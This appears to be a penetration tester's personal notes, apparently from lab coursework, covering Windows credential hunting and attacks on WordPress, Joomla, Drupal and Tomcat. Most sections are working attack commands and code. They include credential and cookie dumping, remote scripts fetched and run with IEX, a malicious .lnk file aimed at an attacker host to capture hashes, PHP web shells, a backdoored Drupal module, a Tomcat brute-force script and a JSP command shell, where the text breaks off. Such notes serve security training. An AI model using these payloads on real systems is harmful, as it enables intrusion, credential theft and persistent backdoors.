                    <PlainText>true</PlainText>
                </Password>
                <Enabled>true</Enabled>
                <LogonCount>2</LogonCount>
                <Username>Administrator</Username>
            </AutoLogon>
            <ComputerName>*</ComputerName>
        </component>
    </settings>
```

* Although these files should be automatically deleted as part of the installation, sysadmins may have created copies of the file in other folders during the development of the image and answer file.

### PowerShell History File

```
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

**Confirming PowerShell History Save Path**

```powershell-session
(Get-PSReadLineOption).HistorySavePath
```

**Reading PowerShell History File**

```powershell-session
gc (Get-PSReadLineOption).HistorySavePath
```

```powershell-session
foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}
```

* We can also use this one-liner to retrieve the contents of all Powershell history files that we can access as our current user.

### PowerShell Credentials

* PowerShell credentials are often used for scripting and automation tasks as a way to store encrypted credentials conveniently.
* The credentials are protected using [DPAPI](https://en.wikipedia.org/wiki/Data_Protection_API), which typically means they can only be decrypted by the same user on the same computer they were created on.
* Take, for example, the following script `Connect-VC.ps1`, which a sysadmin has created to connect to a vCenter server easily.

```powershell
# Connect-VC.ps1
# Get-Credential | Export-Clixml -Path 'C:\scripts\pass.xml'
$encryptedPassword = Import-Clixml -Path 'C:\scripts\pass.xml'
$decryptedPassword = $encryptedPassword.GetNetworkCredential().Password
Connect-VIServer -Server 'VC-01' -User 'bob_adm' -Password $decryptedPassword
```

**Decrypting PowerShell Credentials**

* If we have gained command execution in the context of this user or can abuse DPAPI, then we can recover the cleartext credentials from `encrypted.xml`.
  * The example below assumes the former.

```powershell-session
 $credential = Import-Clixml -Path 'C:\scripts\pass.xml'
```

```powershell-session
$credential.GetNetworkCredential().username
```

```powershell-session
$credential.GetNetworkCredential().password
```

### Manually Searching the File System for Credentials

```cmd-session
findstr /spin "password" *.*
```

**Search File Contents with PowerShell**

```powershell-session
select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password
```

**Search for File Extensions - Example 1**

```cmd-session
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
```

**Search for File Extensions - Example 2**

```cmd-session
where /R C:\ *.config
```

**Search for File Extensions Using PowerShell**

```powershell-session
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore
```

### Sticky Notes Passwords

* located here

```
C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
```

* We can copy the three `plum.sqlite*` files down to our system and open them with a tool such as [DB Browser for SQLite](https://sqlitebrowser.org/dl/) and view the `Text` column in the `Note` table with the query `select Text from Note;`.

![Pasted image 20240807175846.png](app://85fd2e08a2e02ee3466d9fd1853849432a14/E:/NATHANIEL%20DATA/Personal/OneDrive/obsidian/Alex/Alex/09-Attachments/Pasted%20image%2020240807175846.png?1723033726344)

**Viewing Sticky Notes Data Using PowerShell**

```powershell-session
Set-ExecutionPolicy Bypass -Scope Process
```

```powershell-session
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A
```

```powershell-session
cd .\PSSQLite\
```

```powershell-session
Import-Module .\PSSQLite.psd1
```

```powershell-session
$db = 'C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite'
```

```powershell-session
Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap
```

**Strings to View DB File Contents**

* We can also copy them over to our attack box and search through the data using the `strings` command, which may be less efficient depending on the size of the database.

### Other Files of Interest

**Other Interesting Files**

* Some other files we may find credentials in include the following:
*

```shell-session
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
```

### Further Credential Theft

#### Cmdkey Saved Credentials

[Cmdkey Saved Credentials](/cybersecurity/cmdkey-saved-credentials)

### Browser Credentials

**Retrieving Saved Credentials from Chrome**

[Retrieving Saved Credentials from Chrome windows](/cybersecurity/retrieving-saved-credentials-from-chrome-windows)

#### Copy Firefox Cookies Database

```powershell-session
copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .
```

* We can copy the file to our machine and use the Python script [cookieextractor.py](https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/cookieextractor.py) to extract cookies from the Firefox cookies.SQLite database.

```shell-session
python3 cookieextractor.py --dbpath "/home/plaintext/cookies.sqlite" --host slack --cookie d
```

### Password Managers

**Extracting KeePass Hash**

[Extracting KeePass Hash](/cybersecurity/extracting-keepass-hash)

**Cracking Hash Offline**

[Online Hash Crackers](/cybersecurity/online-hash-crackers)

[Hashcat](/cybersecurity/hashcat)

### Email

* If we gain access to a domain-joined system in the context of a domain user with a Microsoft Exchange inbox,
  * we can attempt to search the user's email for terms such as "pass," "creds," "credentials," etc. using the tool [MailSniper](https://github.com/dafthack/MailSniper).

### When all else fails

* &#x20;run the [laZagne](app://obsidian.md/laZagne) tool in an attempt to retrieve credentials from a wide variety of software
* [SessionGopher](app://obsidian.md/SessionGopher)

### Wifi Passwords

[Extracting windows wifi password](/cybersecurity/extracting-windows-wifi-password)

### Citrix Breakout

* [Citrix Breakout](app://obsidian.md/Citrix%20Breakout)

### Traffic Capture

* if wireshark or tcpdump is there you can use it to capture packets from another user

### Monitoring for Process Command Lines

* It captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.
* procmon.ps1

```shell-session
while($true)
{

  $process = Get-WmiObject Win32_Process | Select-Object CommandLine
  Start-Sleep 1
  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Compare-Object -ReferenceObject $process -DifferenceObject $process2

}
```

```powershell-session
 IEX (iwr 'http://10.10.10.205/procmon.ps1') 
```

### Search Windows Registry for key

```
# Download script
curl https://raw.githubusercontent.com/KurtDeGreeff/PlayPowershell/master/Search-Registry.ps1 -OutFile Search-Registry.ps1

# View docs
Get-Help .\Search-Registry.ps1

# Simple example (search HKEY_CURRENT_USER for values with data containing "powershell")
.\Search-Registry -StartKey HKCU -Pattern "PowerShell" -MatchData
```

**Get Installed Programs via PowerShell & Registry Keys**

```powershell-session
$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |  Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize
```

### Capturing Hashes with a Malicious .lnk File

* Using SCFs no longer works on Server 2019 hosts,
  * but we can achieve the same effect using a malicious [.lnk](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943) file.
* We can use various tools to generate a malicious .lnk file, such as [Lnkbomb](https://github.com/dievus/lnkbomb), as it is not as straightforward as creating a malicious .scf file.
  * We can also make one using a few lines of PowerShell:

**Generating a Malicious .lnk File**

```powershell-session
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\legit.lnk")
$lnk.TargetPath = "\\<attackerIP>\@pwn.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the directory where this file is saved will trigger an auth request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
```

### Pillaging

* Pillaging is the process of obtaining information from a compromised system.
* It can be personal information, corporate blueprints, credit card data, server information, infrastructure and network details, passwords, or other types of credentials, and anything relevant to the company or security assessment we are working on.
* Below are some of the sources from which we can obtain information from compromised systems:
  * Installed applications
  * Installed services
    * Websites
    * File Shares
    * Databases
    * Directory Services (such as Active Directory, Azure AD, etc.)
    * Name Servers
    * Deployment Services
    * Certificate Authority
    * Source Code Management Server
    * Virtualization
    * Messaging
    * Monitoring and Logging Systems
    * Backups
  * Sensitive Data
    * Keylogging
    * Screen Capture
    * Network Traffic Capture
    * Previous Audit reports
  * User Information
    * History files, interesting documents (.doc/x,.xls/x,password.*/pass.*, etc)
    * Roles and Privileges
    * Web Browsers
    * IM Clients

#### Extracting Clipboard data

[Extracting Clipboard data Windows](/cybersecurity/extracting-clipboard-data-windows)

### &#x20;Search entire windows for a file

* cd to the directory you want to search in

```
 dir /s *confCons.xml* 
```

<br>


# Cmdkey Saved Credentials

* The [cmdkey](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey) command can be used to create, list, and delete stored usernames and passwords.
* Users may wish to store credentials for a specific host or use it to store credentials for terminal services connections to connect to a remote host using Remote Desktop without needing to enter a password.
* This may help us either move laterally to another system with a different user or escalate privileges on the current host to leverage stored credentials for another user.

```cmd-session
cmdkey /list
```

* We can also attempt to reuse the credentials using `runas` to send ourselves a reverse shell as that user, run a binary, or launch a PowerShell or CMD console with a command such as:

**Run Commands as Another User Windows**

```powershell-session
runas /savecred /user:inlanefreight\bob "COMMAND HERE"
```

* <https://github.com/antonioCoco/RunasCs>


# Retrieving Saved Credentials from Chrome windows

* Users often store credentials in their browsers for applications that they frequently visit.
  * We can use a tool such as [SharpChrome](https://github.com/GhostPack/SharpDPAPI) to retrieve cookies and saved logins from Google Chrome.

```powershell-session
.\SharpChrome.exe logins /unprotect
```

### Extract Cookies

```powershell-session
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')
```

```powershell-session
Invoke-SharpChromium -Command "cookies slack.com"
```

* We got an error because the cookie file path that contains the database is hardcoded in [SharpChromium](https://github.com/djhohnstein/SharpChromium/blob/master/ChromiumCredentialManager.cs#L47), and the current version of Chrome uses a different location.

```powershell-session
copy "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\Cookies" "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies"
```

```powershell-session
Invoke-SharpChromium -Command "cookies slack.com"
```


# Extracting KeePass Hash

```shell-session
python2.7 keepass2john.py ILFREIGHT_Help_Desk.kdbx 
```


# Online Hash Crackers

[http://www.hashkiller.co.uk/\
http://www.md5online.org/\
http://www.cmd5.org/\
http://www.md5crack.com/\
http://www.netmd5crack.com/cracker/\
http://md5decryption.com/\
http://md5.rednoize.com/\
http://www.md5this.com/index.php\
http://www.tydal.nu/article/md5-crack/\
http://passcracking.com/\
https://hdb.insidepro.com/en\
https://crackstation.net/\
http://www.cloudcracker.net/\
https://isc.sans.edu/tools/reversehash.html\
http://www.onlinehashcrack.com/\
http://hashcrack.in/en](<http://www.hashkiller.co.uk/&#xD;&#xA;http://www.md5online.org/&#xD;&#xA;http://www.cmd5.org/&#xD;&#xA;http://www.md5crack.com/&#xD;&#xA;http://www.netmd5crack.com/cracker/&#xD;&#xA;http://md5decryption.com/&#xD;&#xA;http://md5.rednoize.com/&#xD;&#xA;http://www.md5this.com/index.php&#xD;&#xA;http://www.tydal.nu/article/md5-crack/&#xD;&#xA;http://passcracking.com/&#xD;&#xA;https://hdb.insidepro.com/en&#xD;&#xA;https://crackstation.net/&#xD;&#xA;http://www.cloudcracker.net/&#xD;&#xA;https://isc.sans.edu/tools/reversehash.html&#xD;&#xA;http://www.onlinehashcrack.com/&#xD;&#xA;http://hashcrack.in/en>)


# Hashcat

```
hashcat --user users.txt /usr/share/wordlists/rockyou.txt -m 3200
```

* users.txt

```
lewis:$2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
logan:$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
```

### Default Credentials

* [Default Credentials](app://obsidian.md/Default%20Passwords)

### Generating Rule-based Wordlist

| **Function** | **Description**                                   |
| ------------ | ------------------------------------------------- |
| `:`          | Do nothing.                                       |
| `l`          | Lowercase all letters.                            |
| `u`          | Uppercase all letters.                            |
| `c`          | Capitalize the first letter and lowercase others. |
| `sXY`        | Replace all instances of X with Y.                |
| `$!`         | Add the exclamation character at the end.         |

* Full Rule set
  * <https://hashcat.net/wiki/doku.php?id=rule_based_attack>
* less custom.rule

```custom.rule
:
c
so0
c so0
sa@
c sa@
c sa@ so0
$!
$! c
$! so0
$! sa@
$! c so0
$! c sa@

```

```bash
hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
```

**Hashcat Existing Rules**

```bash
ls /usr/share/hashcat/rules/
```

* [Creating Custom wordlists](/cybersecurity/creating-custom-wordlists)

### Attacks

#### Cracking the NT Hash with Hashcat

```
sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt
```

#### Hashcat - Cracking Unshadowed Hashes

```bash
 hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked
```

#### Hashcat - Cracking MD5 Hashes

```bash
cat md5-hashes.list
```

```bash
 hashcat -m 500 -a 0 md5-hashes.list rockyou.txt
```


# Creating Custom wordlists

### CeWL

* CeWL
  * generated wordlist by crawling website
    * <https://github.com/digininja/CeWL>

```bash
cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist
```

### crunch

* crunch
  * <https://secf00tprint.github.io/blog/passwords/crunch/advanced/en>

### Creating custom Usernames

* <https://github.com/urbanadventurer/username-anarchy>

```
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy/
```

```
./username-anarchy nathaniel fernandes
```

#### You know the username format and names of users

```
./username-anarchy --input-file ./test-names.txt  --select-format first.last
```

```
andrew.horton
jim.vongrippenvud
peter.otoole
```

### Hashcat

[Hashcat](/cybersecurity/hashcat#generating-rule-based-wordlist)

### cupp

* build custom wordlist for that person

```
sudo apt install cupp
```

```shell-session
cupp -i
```


# Extracting windows wifi password

### Viewing Saved Wireless Networks

```cmd-session
netsh wlan show profile
```

### Retrieving Saved Wireless Passwords

```cmd-session
netsh wlan show profile ilfreight_corp key=clear
```


# Wordpress Attacks

### Discovery/Footprinting

* Look into /robots.txt

```shell-session
User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-content/uploads/wpforms/

Sitemap: https://inlanefreight.local/wp-sitemap.xml
```

* presence of the `/wp-admin` and `/wp-content` directories

### Enumeration

```shell-session
curl -s https://blog.inlanefreight.local | grep WordPress
```

```shell-session
<meta name="generator" content="WordPress 5.8" /
```

* themes

```shell-session
curl -s https://wehost.co.in/ | grep themes
```

* plugins

```shell-session
curl -s https://wehost.co.in/ | grep plugins
```

#### Enumerating Users

* login page can be found at `/wp-login.php`.
* A valid username and an invalid password results in the following message:
* ![Pasted image 20240815220135.png](app://7f05fcb686c7f91fc7f4865d993fb630b4f2/E:/NATHANIEL%20DATA/Personal/OneDrive/obsidian/Alex/Alex/09-Attachments/Pasted%20image%2020240815220135.png?1723739495261)
* an invalid username returns that the user was not found.
* ![Pasted image 20240815220145.png](app://7f05fcb686c7f91fc7f4865d993fb630b4f2/E:/NATHANIEL%20DATA/Personal/OneDrive/obsidian/Alex/Alex/09-Attachments/Pasted%20image%2020240815220145.png?1723739505568)

### WPScan

```shell-session
sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token dEOFB<SNIP>
```

```shell-session
sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token dEOFB<SNIP>
```

### Attacking WordPress

#### Login Bruteforce

* The `wp-login` method will attempt to brute force the standard WordPress login page, while the `xmlrpc` method uses WordPress API to make login attempts through `/xmlrpc.php`.
  * The `xmlrpc` method is preferred as it’s faster.

```shell-session
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
```

### Code Execution

```php
system($_GET[0]);
```

<figure><img src="/files/o21FH6zmQD4LH1Ya4tMd" alt=""><figcaption></figcaption></figure>

```shell-session
curl http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id
```

#### PHP Meterpreter shell

```shell-session
use exploit/unix/webapp/wp_admin_shell_upload 
```

```shell-session
set rhosts blog.inlanefreight.local
set username john
set password firebird1
set lhost 10.10.14.15
set rhost 10.129.42.195
set VHOST blog.inlanefreight.local
```

```shell-session
 show options 
```

```shell-session
exploit
```


# Joomla Attacks

* get Joomla installs!

```shell-session
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
```

### Discovery/Footprinting

```shell-session
curl -s http://dev.inlanefreight.local/ | grep Joomla
```

```shell-session
curl -s http://dev.inlanefreight.local/README.txt | head -n 5
```

```shell-session
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -
```

* The `cache.xml` file can help to give us the approximate version.

```
curl -s http://app.inlanefreight.local/plugins/system/cache/cache.xml | xmllint --format -
```

### Enumeration

* &#x20;try out [droopescan](https://github.com/droope/droopescan)

#### droopescan

```shell-session
sudo pip3 install droopescan
```

```shell-session
droopescan -h
```

```shell-session
droopescan scan joomla --url http://dev.inlanefreight.local/
```

#### JoomlaScan

* &#x20;We can also try out [JoomlaScan](https://github.com/drego85/JoomlaScan), which is a Python tool inspired by the now-defunct OWASP [joomscan](https://github.com/OWASP/joomscan) tool.

```
sudo python2.7 -m pip install urllib3

sudo python2.7 -m pip install certifi

sudo python2.7 -m pip install bs4
```

```shell-session
python2.7 joomlascan.py -u http://dev.inlanefreight.local
```

### brute-forcing

* The default administrator account on Joomla installs is `admin`,
  * but the password is set at install time
* We can use this [script](https://github.com/ajnik/joomla-bruteforce) to attempt to brute force the login.

## Attacking Joomla

* add to templated file

```php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
```


# Drupal Attack

### Discovery/Footprinting

```shell-session
curl -s http://drupal.inlanefreight.local | grep Drupal
```

### Enumeration

```shell-session
curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""
```

```
droopescan scan drupal -u http://drupal-qa.inlanefreight.local
```

### Attacking Drupal

#### Leveraging the PHP Filter Module

* after login select php filters

```
http://drupal-qa.inlanefreight.local/#overlay=admin/modules
```

<figure><img src="/files/kD7pIz8mbyc5fsc4hv74" alt=""><figcaption></figcaption></figure>

* From here, we could tick the check box next to the module and scroll down to `Save configuration`. Next, we could go to Content --> Add content and create a `Basic page`.

```
http://drupal-qa.inlanefreight.local/#overlay=node/add
```

<figure><img src="/files/tgyin3iExczu8db56ATG" alt=""><figcaption></figcaption></figure>

```php
<?php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
?>
```

```
http://drupal-qa.inlanefreight.local/#overlay=node/add/page
```

#### From version 8 onwards,

* the [PHP Filter](https://www.drupal.org/project/php/releases/8.x-1.1) module is not installed by default.
* To leverage this functionality, we would have to install the module ourselves.

```shell-session
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
```

* Once downloaded go to `Administration` > `Reports` > `Available updates`.

```
http://drupal.inlanefreight.local/admin/reports/updates/install
```

<figure><img src="/files/NRx3vlfpydohBEiqHy2P" alt=""><figcaption></figcaption></figure>

* From here, click on `Browse,` select the file from the directory we downloaded it to, and then click `Install`.
* Once the module is installed, we can click on `Content` and create a new basic page, similar to how we did in the Drupal 7 example. Again, be sure to select `PHP code` from the `Text format` dropdown.

#### Uploading a Backdoored Module

* Drupal allows users with appropriate permissions to upload a new module.
* A backdoored module can be created by adding a shell to an existing module

```shell-session
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
```

```shell-session
tar xvf captcha-8.x-1.2.tar.gz
```

* Create a PHP web shell with the contents:

```php
<?php
system($_GET[fe8edbabc5c5c9b7b764504cd22b17af]);
?>
```

* Next, we need to create a .htaccess file to give ourselves access to the folder.
  * This is necessary as Drupal denies direct access to the /modules folder.

```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```

```shell-session
mv shell.php .htaccess captcha
```

```shell-session
tar cvf captcha.tar.gz captcha/
```

* Assuming we have administrative access to the website, click on `Manage` and then `Extend` on the sidebar
  * Next, click on the `+ Install new module` button, and we will be taken to the install page, such as `http://drupal.inlanefreight.local/admin/modules/install`&#x20;
  * Browse to the backdoored Captcha archive and click `Install`.

<figure><img src="/files/RHPJ5QJFF33vPyaVZk4v" alt=""><figcaption></figcaption></figure>

```shell-session
curl -s drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id
```


# Tomcat Attacks

### Discovery/Footprinting

```shell-session
curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat 
```

* general folder structure of a Tomcat installation.

```shell-session
├── bin
├── conf
│   ├── catalina.policy
│   ├── catalina.properties
│   ├── context.xml
│   ├── tomcat-users.xml
│   ├── tomcat-users.xsd
│   └── web.xml
├── lib
├── logs
├── temp
├── webapps
│   ├── manager
│   │   ├── images
│   │   ├── META-INF
│   │   └── WEB-INF
|   |       └── web.xml
│   └── ROOT
│       └── WEB-INF
└── work
    └── Catalina
        └── localhost
```

* The `bin` folder stores scripts and binaries needed to start and run a Tomcat server
* The `conf` folder stores various configuration files used by Tomcat.
* The `tomcat-users.xml` file stores user credentials and their assigned roles.
* The `lib` folder holds the various JAR files needed for the correct functioning of Tomcat. The `logs` and `temp` folders store temporary log files.
* The `webapps` folder is the default webroot of Tomcat and hosts all the applications.
* The `work` folder acts as a cache and is used to store data during runtime.
* Each folder inside `webapps` is expected to have the following structure.

```shell-session
webapps/customapp
├── images
├── index.jsp
├── META-INF
│   └── context.xml
├── status.xsd
└── WEB-INF
    ├── jsp
    |   └── admin.jsp
    └── web.xml
    └── lib
    |    └── jdbc_drivers.jar
    └── classes
        └── AdminServlet.class 
```

* The most important file among these is `WEB-INF/web.xml`, which is known as the deployment descriptor
* This file stores information about the routes used by the application and the classes handling these routes
* All compiled classes used by the application should be stored in the `WEB-INF/classes` folder.
* These classes might contain important business logic as well as sensitive information
* Any vulnerability in these files can lead to total compromise of the website.
* The `lib` folder stores the libraries needed by that particular application.
* The `jsp` folder stores [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta_Server_Pages), formerly known as `JavaServer Pages`, which can be compared to PHP files on an Apache server.
* Here’s an example web.xml file.

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
  <servlet>
    <servlet-name>AdminServlet</servlet-name>
    <servlet-class>com.inlanefreight.api.AdminServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>AdminServlet</servlet-name>
    <url-pattern>/admin</url-pattern>
  </servlet-mapping>
</web-app>   
```

* The `web.xml` configuration above defines a new servlet named `AdminServlet` that is mapped to the class `com.inlanefreight.api.AdminServlet`.
* Java uses the dot notation to create package names, meaning the path on disk for the class defined above would be:
  * `classes/com/inlanefreight/api/AdminServlet.class`
* Next, a new servlet mapping is created to map requests to `/admin` with `AdminServlet`
  * This configuration will send any request received for `/admin` to the `AdminServlet.class` class for processing.
* The `web.xml` descriptor holds a lot of sensitive information and is an important file to check when leveraging a Local File Inclusion (LFI) vulnerability.
* The `tomcat-users.xml` file is used to allow or disallow access to the `/manager` and `host-manager` admin pages.

```xml
<?xml version="1.0" encoding="UTF-8"?>

<SNIP>
  
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.

  Built-in Tomcat manager roles:
    - manager-gui    - allows access to the HTML GUI and the status pages
    - manager-script - allows access to the HTTP API and the status pages
    - manager-jmx    - allows access to the JMX proxy and the status pages
    - manager-status - allows access to the status pages only

  The users below are wrapped in a comment and are therefore ignored. If you
  wish to configure one or more of these users for use with the manager web
  application, do not forget to remove the <!.. ..> that surrounds them. You
  will also need to set the passwords to something appropriate.
-->

   
 <SNIP>
  
!-- user manager can access only manager section -->
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />

<!-- user admin can access manager and admin section both -->
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />


</tomcat-users>
```

* The file shows us what each of the roles `manager-gui`, `manager-script`, `manager-jmx`, and `manager-status` provide access to.
* In this example, we can see that a user `tomcat` with the password `tomcat` has the `manager-gui` role, and a second weak password `admin` is set for the user account `admin`

### Enumeration

* After fingerprinting the Tomcat instance, unless it has a known vulnerability, we'll typically want to look for the `/manager` and the `/host-manager` pages
* We can attempt to locate these with a tool such as `Gobuster` or just browse directly to them.

```shell-session
gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt 
```

* We may be able to either log in to one of these using weak credentials such as `tomcat:tomcat`, `admin:admin`, etc
* If these first few tries don't work, we can try a password brute force attack against the login page, covered in the next section.
* If we are successful in logging in, we can upload a [Web Application Resource or Web Application ARchive (WAR)](https://en.wikipedia.org/wiki/WAR_\(file_format\)#:~:text=In%20software%20engineering%2C%20a%20WAR,that%20together%20constitute%20a%20web) file containing a JSP web shell and obtain remote code execution on the Tomcat server.

### Attacking Tomcat

* if we can access the `/manager` or `/host-manager` endpoints, we can likely achieve remote code execution on the Tomcat server

#### Tomcat Manager - Login Brute Force

* We can use the [auxiliary/scanner/http/tomcat\_mgr\_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/tomcat_mgr_login/)

```
set VHOST web01.inlanefreight.local

set RPORT 8180

set stop_on_success true

set rhosts 10.129.201.58

```

```
run 
```

* We can also use [this](https://github.com/b33lz3bub-1/Tomcat-Manager-Bruteforce) Python script to achieve the same result.

```python
#!/usr/bin/python

import requests
from termcolor import cprint
import argparse

parser = argparse.ArgumentParser(description = "Tomcat manager or host-manager credential bruteforcing")

parser.add_argument("-U", "--url", type = str, required = True, help = "URL to tomcat page")
parser.add_argument("-P", "--path", type = str, required = True, help = "manager or host-manager URI")
parser.add_argument("-u", "--usernames", type = str, required = True, help = "Users File")
parser.add_argument("-p", "--passwords", type = str, required = True, help = "Passwords Files")

args = parser.parse_args()

url = args.url
uri = args.path
users_file = args.usernames
passwords_file = args.passwords

new_url = url + uri
f_users = open(users_file, "rb")
f_pass = open(passwords_file, "rb")
usernames = [x.strip() for x in f_users]
passwords = [x.strip() for x in f_pass]

cprint("\n[+] Atacking.....", "red", attrs = ['bold'])

for u in usernames:
    for p in passwords:
        r = requests.get(new_url,auth = (u, p))

        if r.status_code == 200:
            cprint("\n[+] Success!!", "green", attrs = ['bold'])
            cprint("[+] Username : {}\n[+] Password : {}".format(u,p), "green", attrs = ['bold'])
            break
    if r.status_code == 200:
        break

if r.status_code != 200:
    cprint("\n[+] Failed!!", "red", attrs = ['bold'])
    cprint("[+] Could not Find the creds :( ", "red", attrs = ['bold'])
#print r.status_code
```

* This is a very straightforward script that takes a few arguments. We can run the script with `-h` to see what it requires to run.

```shell-session
python3 mgr_brute.py  -h
```

```shell-session
python3 mgr_brute.py -U http://web01.inlanefreight.local:8180/ -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
```

#### Tomcat Manager - WAR File Upload

* Many Tomcat installations provide a GUI interface to manage the application
  * This interface is available at `/manager/html` by default, which only users assigned the `manager-gui` role are allowed to access.
* Valid manager credentials can be used to upload a packaged Tomcat application (.WAR file) and compromise the application.
* A WAR, or Web Application Archive, is used to quickly deploy web applications and backup storage.
* browse to `http://web01.inlanefreight.local:8180/manager/html` and enter the credentials.

<figure><img src="/files/ilK68zLSLR1DrQy2dztn" alt=""><figcaption></figcaption></figure>

* The manager web app allows us to instantly deploy new applications by uploading WAR files. A WAR file can be created using the zip utility
* A JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) can be downloaded and placed within the archive.

```java
<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
